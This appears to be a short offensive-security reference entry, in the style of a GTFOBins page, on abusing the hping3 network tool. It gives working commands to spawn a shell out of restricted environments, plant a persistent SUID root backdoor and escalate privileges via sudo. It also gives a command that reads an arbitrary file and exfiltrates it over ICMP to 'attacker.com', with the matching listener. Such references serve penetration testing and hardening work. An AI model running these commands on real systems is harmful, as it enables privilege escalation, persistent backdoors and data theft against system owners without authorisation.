It can be used to break out from restricted environments by spawning an interactive system shell.
If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run
sh -p, omit the
-p argument on systems like Debian (<= Stretch) that allow the default
sh shell to run with SUID privileges.
This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.
sudo install -m =xs $(which hping3) . ./hping3 /bin/sh -p
If the binary is allowed to run as superuser by
sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
sudo hping3 /bin/sh
The file is continuously sent, adjust the
--count parameter or kill the sender when done. Receive on the attacker box with:
sudo hping3 --icmp --listen xxx --dump
RHOST=attacker.com LFILE=file_to_read sudo hping3 "$RHOST" --icmp --data 500 --sign xxx --file "$LFILE"